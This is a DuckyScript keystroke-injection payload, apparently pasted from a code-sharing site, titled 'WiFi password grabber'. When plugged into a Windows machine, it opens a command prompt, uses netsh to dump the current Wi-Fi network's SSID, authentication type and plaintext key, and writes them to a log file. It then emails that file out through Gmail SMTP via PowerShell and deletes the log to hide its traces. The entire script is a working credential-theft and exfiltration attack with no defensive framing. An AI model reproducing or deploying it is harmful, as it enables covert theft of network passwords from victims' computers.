iHmcA1X1

1REM Title: WiFi password grabber
2REM Author: Austin
3REM Version: 4
4REM Description: Saves the SSID, Network type, Authentication and the password to Log.txt and emails the contents of Log.txt from a gmail account.
5DELAY 3000
6REM --> Minimize all windows
7WINDOWS d
8REM --> Open cmd
9WINDOWS r
10DELAY 500
11STRING cmd
12ENTER
13DELAY 200
14REM --> Getting SSID
15STRING cd "%USERPROFILE%\Desktop" & for /f "tokens=2 delims=:" %A in ('netsh wlan show interface ^| findstr "SSID" ^| findstr /v "BSSID"') do set A=%A
16ENTER
17STRING set A="%A:~1%"
18ENTER
19REM --> Creating A.txt
20STRING netsh wlan show profiles %A% key=clear | findstr /c:"Network type" /c:"Authentication" /c:"Key Content" | findstr /v "broadcast" | findstr /v "Radio">>A.txt
21ENTER
22REM --> Get network type
23STRING for /f "tokens=3 delims=: " %A in ('findstr "Network type" A.txt') do set B=%A
24ENTER
25REM --> Get authentication
26STRING for /f "tokens=2 delims=: " %A in ('findstr "Authentication" A.txt') do set C=%A
27ENTER
28REM --> Get password
29STRING for /f "tokens=3 delims=: " %A in ('findstr "Key Content" A.txt') do set D=%A
30ENTER
31REM --> Delete A.txt
32STRING del A.txt
33ENTER
34REM --> Create Log.txt
35STRING echo SSID: %A%>>Log.txt & echo Network type: %B%>>Log.txt & echo Authentication: %C%>>Log.txt & echo Password: %D%>>Log.txt
36ENTER
37REM --> Mail Log.txt
38STRING powershell
39ENTER
40STRING $SMTPServer = 'smtp.gmail.com'
41ENTER
42STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
43ENTER
44STRING $SMTPInfo.EnableSsl = $true
45ENTER
46STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('@gmail.com', 'PASS')
47ENTER
48STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
49ENTER
50STRING $ReportEmail.From = '@gmail.com'
51ENTER
52STRING $ReportEmail.To.Add('@gmail.com')
53ENTER
54STRING $ReportEmail.Subject = 'WiFi key grabber'
55ENTER
56STRING $ReportEmail.Body = (Get-Content Log.txt | out-string)
57ENTER
58STRING $SMTPInfo.Send($ReportEmail)
59ENTER
60DELAY 1000
61STRING exit
62ENTER
63DELAY 500
64REM --> Delete Log.txt and exit
65STRING del Log.txt & exit
66ENTER